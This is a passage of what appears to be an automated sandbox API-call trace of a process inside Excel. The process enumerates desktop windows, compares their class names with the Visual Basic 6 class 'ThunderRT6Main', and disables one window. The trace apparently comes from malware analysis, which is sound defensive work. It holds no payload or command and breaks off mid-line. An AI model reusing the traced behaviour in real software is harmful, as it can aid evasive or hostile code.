[0112.888] IUnknown:Release (This=0x6fed890) returned 0x3 [0112.888] IMalloc:Free (This=0x7feffc15380, pv=0xb683b60) [0112.888] GetCurrentThreadId () returned 0x92c [0112.888] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0112.888] GetDesktopWindow () returned 0x10010 [0112.888] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0112.888] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0112.888] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0112.888] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0112.888] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0112.888] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.888] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.888] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0112.889] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0112.889] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0112.889] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0112.889] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0112.889] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.889] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0112.889] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.889] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0112.889] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.889] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0112.889] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.889] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0112.889] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.889] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0112.889] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.889] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0112.889] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.889] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.889] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0112.889] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0112.890] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0112.890] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0112.890] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0112.890] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0112.890] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.890] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0112.890] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0112.890] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0112.890] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0112.890] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0112.890] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0112.890] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0112.890] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.890] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.890] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0112.891] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0112.891] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0112.891] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.891] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0112.891] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0112.891] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0112.891] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.891] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0112.891] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0112.891] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0112.891] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.891] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0112.891] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0112.891] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0112.891] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0112.891] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.891] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.891] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.891] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0112.891] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0112.891] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0112.891] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0112.891] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0112.891] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0112.891] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.891] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0112.891] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0112.891] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0112.891] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0112.891] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.891] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.891] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.891] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0112.891] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0112.891] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0112.891] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0112.891] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.891] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.891] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.891] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0112.892] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0112.892] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0112.892] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0112.892] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.892] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.892] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.892] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0112.892] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0112.892] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0112.892] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0112.892] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.892] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.892] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.892] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0112.892] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0112.892] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0112.892] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x20296 [0112.892] GetClassNameA (in: hWnd=0x20296, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0112.892] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0112.892] GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0112.892] GetWindow (hWnd=0x20296, uCmd=0x2) returned 0x20292 [0112.892] GetClassNameA (in: hWnd=0x20292, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.892] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.892] GetWindowThreadProcessId (in: hWnd=0x20292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0112.892] GetWindow (hWnd=0x20292, uCmd=0x2) returned 0x20280 [0112.892] GetClassNameA (in: hWnd=0x20280, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0112.892] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0112.892] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb60 [0112.892] GetWindow (hWnd=0x20280, uCmd=0x2) returned 0x202c2 [0112.892] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0112.892] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0112.892] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.892] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0112.892] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0112.892] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0112.892] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0112.892] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.892] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -2080374784 [0112.892] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0112.892] IsWindowEnabled (hWnd=0x202cc) returned 1 [0112.893] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x0 [0112.893] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0112.893] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0112.893] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0112.893] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0112.893] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0112.893] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.893] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0112.893] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0112.893] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0112.893] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0112.893] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.893] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0112.893] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0112.893] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0112.893] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0112.893] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.893] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.893] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.893] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0112.893] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0112.893] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0112.893] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0112.893] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.893] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.893] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.893] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0112.893] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0112.893] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0112.893] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0112.893] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.893] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.893] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.893] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0112.893] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0112.893] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0112.893] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0112.893] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.894] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.894] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.894] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0112.894] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0112.894] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0112.894] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0112.894] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.894] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.894] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0112.894] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0112.894] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0112.894] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0112.894] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.894] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0112.894] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0112.894] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0112.894] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0112.894] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0112.894] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0112.894] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.894] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0112.894] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0112.894] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0112.894] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0112.894] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.894] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.894] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.894] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0112.894] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0112.894] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0112.894] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0112.894] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.894] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.894] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.894] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0112.894] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0112.894] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0112.894] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0112.894] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.894] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.894] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.895] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0112.895] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0112.895] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0112.895] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0112.895] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.895] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.895] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.895] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0112.895] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0112.895] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0112.895] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0112.895] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0112.895] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0112.895] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.895] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0112.895] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0112.895] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0112.895] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0112.895] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0112.895] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0112.895] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0112.895] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0112.895] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0112.895] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0112.895] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.895] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0112.895] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0112.895] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0112.895] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0112.895] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.895] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0112.895] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0112.895] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0112.895] lstrcmpA (lpString1="Stomach_harassment_", 